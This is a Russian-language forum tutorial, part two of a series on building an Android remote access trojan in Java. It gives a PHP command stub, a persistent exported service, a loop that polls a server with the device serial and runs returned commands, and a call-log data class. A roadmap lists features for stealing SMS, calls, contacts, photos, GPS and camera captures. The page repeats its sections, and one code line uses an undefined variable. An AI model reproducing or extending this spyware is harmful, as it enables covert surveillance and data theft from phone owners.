Содержание статьи:
1. Ссылка на первую статью.
Всем читателям привет и добрый вечер (похоже это станет моим основным приветствием). И так, это уже вторая статья на тему создания RAT для Android на языке Java. Если у кого-то остались вопросы из прошлой статьи, спрашивайте в этой, не беда.
Так же хотелось бы заметить что MainService теперь называется по другому, а именно - TranosService. Почему такое название ? Да я и сам не знаю. Просто пришло в голову вот и решил переделать (думаю что проблем из-за смены названия ни у кого не возникнет).
В этой статье мы создадим затычки (WEB часть, которая будет выдавать нужные нам задания) и часть функционала, который будет расширяться. Для дальнейшей работы нам нужно будет скачать два основных пакета с GitHub и пару дополнительных. Советую вам не скачивать их через Gradle (хотя некоторые все же придется скачать именно через него), а скачать напрямую и положить их в проект т.к. это позволит в дальнейшем расширить существующий в этих пакетах функционал.
2. Скачивание пакетов и их настройка
Вот этот и вот этот пакет скачать нужно будет архивом и закинуть в папку с проектом. (Папка modules и ServiceReceiver нам понадобится потом, можно пока что не создавать)
Их в дальнейшем мы будем дополнять т.к. там нет всего функционала, который нам нужен. Самое неприятное в этом методе это то что там будут прописаны свои package названия, которые нам потребуется заменить. Дело не сложное, но потребует от вас минут 5-10 лишнего времени.
После того как вы скачали и распаковали пакеты в папку с проектом, необходимо его собрать и просмотреть список ошибок снизу. Вам нужно поменять все package имена на свои.
А вот пакет для http запросов и вывода логов установим через Gradle. Для этого зайдите в файл build.gradle (Module: app) и допишите в dependencies следующий код, а потом либо запустите сборку проекта либо либо нажмите на кнопку "Sync Project with Gradle Files" чтобы Gradle установил пакеты.
3. Создание WEB-затычки и метода для отправки запросов
Для создания затычки можно использовать любой хостинг (можно даже локальный сайт, однако потом, когда программа выйдет в свет, то вам уже не обойтись без полноценного сайта, ну или же без статического IP и OpenServer-а или No-IP). Для тех у кого статический IP и они захотят сделать свой локальный сайт глобальным, сделаю небольшую статью (ну или напишу как это сделать в качестве бонуса).
Если вы используете локальный сайт, то вам потребуется:
4. Определение и обработка нужных методов
Пропишем в манифесте наш сервис. (Вместо com.tranos.app.TranosService напишите свое)
Ну, а теперь пора бы и приступить к главному гвоздю нашей программы - коду. В TranosService (название MainService из прошлой статьи поменялось, у кого другое, можете не менять) добавим новую строку.
И теперь немного поменяем нашу переменную с потоком (называлась она obtainTask)
Но дайте отгадаю. У вас появились ошибки ? Значит будем исправлять.
Создадим функцию query, которая будет получать задания.
Хорошо, с этим тоже разобрались, но еще как минимум одна ошибка у нас осталась. У нас все еще нет функции Test, значит создаем.
Думаю что из комментариев все будет понятно, а импортов, которых у вас не хватает можно добавить нажав на красное слово и комбинацией Alt + Enter, или же наведя на красную лампу, которая должна появится слева (П.С. не забываем что проект делается в Android Studio, ну это так, на всякий, вдруг кто-то все таки с Eclipse).
5. Бонус
Бонус только для тех кто скачал пакеты не с помощью Gradle, а так скажем, ручками и все подправил под свой проект.
Так вот, первое что мы сделаем - зайдем
-> mobilehardware
-> Base
-> BaseData
И добавим первые дополнительный класс CallLogs.
Пока что это - заготовка на будущее.
6. Заключение
В этой статье мы сделали так чтобы наш клиент получал команды с сервера и выполнял нужные нам действия (да, их пока всего одно, но это пока). В следующей части мы добавим метод для получения звонков с устройства, а может и сразу сообщений (посмотрим как зайдет статься).
Дальнейшее руководство и действия будут в следующих главах, так что не пропусти. Пишите свои предложения по поводу расширения функционала и вообще любые ваши идеи.
- Приветствие
- Скачивание пакетов
- Создание WEB-затычки и метода для отправки запросов
- Определение и обработка нужных методов
- Бонус
- Заключение
1. Ссылка на первую статью.
Всем читателям привет и добрый вечер (похоже это станет моим основным приветствием). И так, это уже вторая статья на тему создания RAT для Android на языке Java. Если у кого-то остались вопросы из прошлой статьи, спрашивайте в этой, не беда.
Так же хотелось бы заметить что MainService теперь называется по другому, а именно - TranosService. Почему такое название ? Да я и сам не знаю. Просто пришло в голову вот и решил переделать (думаю что проблем из-за смены названия ни у кого не возникнет).
В этой статье мы создадим затычки (WEB часть, которая будет выдавать нужные нам задания) и часть функционала, который будет расширяться. Для дальнейшей работы нам нужно будет скачать два основных пакета с GitHub и пару дополнительных. Советую вам не скачивать их через Gradle (хотя некоторые все же придется скачать именно через него), а скачать напрямую и положить их в проект т.к. это позволит в дальнейшем расширить существующий в этих пакетах функционал.
2. Скачивание пакетов и их настройка
Вот этот и вот этот пакет скачать нужно будет архивом и закинуть в папку с проектом. (Папка modules и ServiceReceiver нам понадобится потом, можно пока что не создавать)
После того как вы скачали и распаковали пакеты в папку с проектом, необходимо его собрать и просмотреть список ошибок снизу. Вам нужно поменять все package имена на свои.
Код:
dependencies {
implementation 'com.github.kevinsawicki:http-request:5.6'
implementation 'com.orhanobut:logger:2.2.0'
}
3. Создание WEB-затычки и метода для отправки запросов
Для создания затычки можно использовать любой хостинг (можно даже локальный сайт, однако потом, когда программа выйдет в свет, то вам уже не обойтись без полноценного сайта, ну или же без статического IP и OpenServer-а или No-IP). Для тех у кого статический IP и они захотят сделать свой локальный сайт глобальным, сделаю небольшую статью (ну или напишу как это сделать в качестве бонуса).
Если вы используете локальный сайт, то вам потребуется:
- Android смартфон (я не вникал как сделать так чтобы эмулятор мог обращаться к локальной сети) или же установите Android эмулятор, который имеет режим моста (Nox вроде имеет, но у меня не сработал, так что все же лучше смартфон).
- Создать PHP файл на вашем локальном сайте (название любое, но у меня будет function.php)
- Напишем код
- Ну и получим ссылку на файл с ip адресом вашего ПК в локальной сети, например
Ссылка скрыта от гостей
- Создать PHP файл
- Написать код
- Ссылку к файлу скопировать и вставить в нужное место (да-да, смешно)
PHP:
<?php
if($_GET['id'])
echo json_encode(['response' => 'test_function_hello']);
else
echo json_encode(['response' => 'Error']);
4. Определение и обработка нужных методов
Пропишем в манифесте наш сервис. (Вместо com.tranos.app.TranosService напишите свое)
XML:
<service android:name="com.tranos.app.TranosService"
android:enabled="true"
android:exported="true"
android:persistent="true">
</service>
Ну, а теперь пора бы и приступить к главному гвоздю нашей программы - коду. В TranosService (название MainService из прошлой статьи поменялось, у кого другое, можете не менять) добавим новую строку.
Java:
private String URL_DEFAULT = "http://192.168.0.150/"; //тут ваша ссылка БЕЗ файла на локальный сайт или же на хостинг
Java:
Thread obtainTask = new Thread() {
@SuppressLint("Wakelock") @Override
public void run() {
Looper.prepare();
while (true) {
try {
String serialId = BuildHelper.mobGetBuildInfo().getString("serial"); //получаем серийный идентификатор устройства
//String serialId = MobileHardWareHelper.mobileBuild().getString("serial"); //результат один и тот же что и с верхним
String result = query(String.format("%sfunction.php?id=%s", URL_DEFAULT, serial)); //отправляем запрос на наш сайт (вместо function напишите название своего файла с сайта)
String response = new JSONObject(result).getString("response"); //получаем результат из response, в нашем случае это будет test_function_hello
List<String> list = new ArrayList<String>(Arrays.asList(response.split("_"))); //разбиваем наш результат по нижнему подчеркиванию, получаем 0->test | 1->function | 2->hello
if (list.size() > 0) { //если у нас не пустой результат
if (list.get(0).contains("test")) { //если у нас в первым заданием будет test
Test(list); //то запускаем функцию Test, которая будет сделана чуть ниже и передаем ей наш массив с параметрами
}
}
} catch (Exception e) {
}
try {
Thread.sleep(10000);
} catch (Exception e) {
obtainTask.start();
}
}
}
};
Создадим функцию query, которая будет получать задания.
Java:
public String query(String url ) {
String response = "Network unavailable";
if(true) { //NetworkUtils.isNetworkAvailable() тут будет проверка на интернет
try {
response = HttpRequest.get(url).accept("application/json").body();
} catch (Exception e) {
return response;
}
}
return response ;
}
Java:
private void Test(List<String> list) {
Logger.d(list); //выведет нам наш массив
if(list.get(1).contains("function")) {
Logger.d("Функция успешно получена и обработана");
if(list.get(2).contains("hello")) {
Logger.d("Привет, мир, я новый бот.");
}
}
}
5. Бонус
Бонус только для тех кто скачал пакеты не с помощью Gradle, а так скажем, ручками и все подправил под свой проект.
Так вот, первое что мы сделаем - зайдем
-> mobilehardware
-> Base
-> BaseData
И добавим первые дополнительный класс CallLogs.
Java:
public static class CallLogs {
public static final String CALL_NUMBER = "callNumber";
public static final String CALL_NAME = "callName";
public static final String CALL_DATE = "callDate";
public static final String CALL_TYPE = "callType";
public static final String CALL_DURATION = "callDuration";
}
6. Заключение
В этой статье мы сделали так чтобы наш клиент получал команды с сервера и выполнял нужные нам действия (да, их пока всего одно, но это пока). В следующей части мы добавим метод для получения звонков с устройства, а может и сразу сообщений (посмотрим как зайдет статься).
Дальнейшее руководство и действия будут в следующих главах, так что не пропусти. Пишите свои предложения по поводу расширения функционала и вообще любые ваши идеи.
Где есть пометка @feature, значит этот функционал реализован на момент написания статьи.
Где есть пометка @todo, значит этот функционал в стадии разработки и должен скоро появится.
Где есть пометка @issue, значит этот функционал был предложен одним из пользователей и вызвал интерес у автора и в скором времени будет реализован.
Где есть пометка @todo, значит этот функционал в стадии разработки и должен скоро появится.
Где есть пометка @issue, значит этот функционал был предложен одним из пользователей и вызвал интерес у автора и в скором времени будет реализован.
- Получение команд с сайта @feature
- Получение команд через Telegram бота
- Получение команд через смс @todo
- Работа с сообщениями
- Получение сообщений @feature
- Получение сообщений с конкретным пользователем @todo
- Удаление сообщение @todo
- Блокировка сообщений
- Отправка сообщений @todo
- Работа со звонками
- Получение звонков @feature
- Получение звонков с конкретным пользователем
- Удаление звонков
- Блокировка звонков
- Вызов абонента @todo
- Запись звонков
- Работа с камерой
- Фотосъемка с камер @feature
- Видеосъемка
- Запись звука
- Получение данных GPS @feature
- Получение списка контактов с телефона @feature
- Получение медиа (фотографий) @feature
- Доступ к проводнику (доступ к файловой системе)
- Получение информации об устройстве (куда же без нее) @feature
- Получение Root прав
- Управление смартфоном
- Громкость @todo
- Яркость @todo
- Обои
- Прочее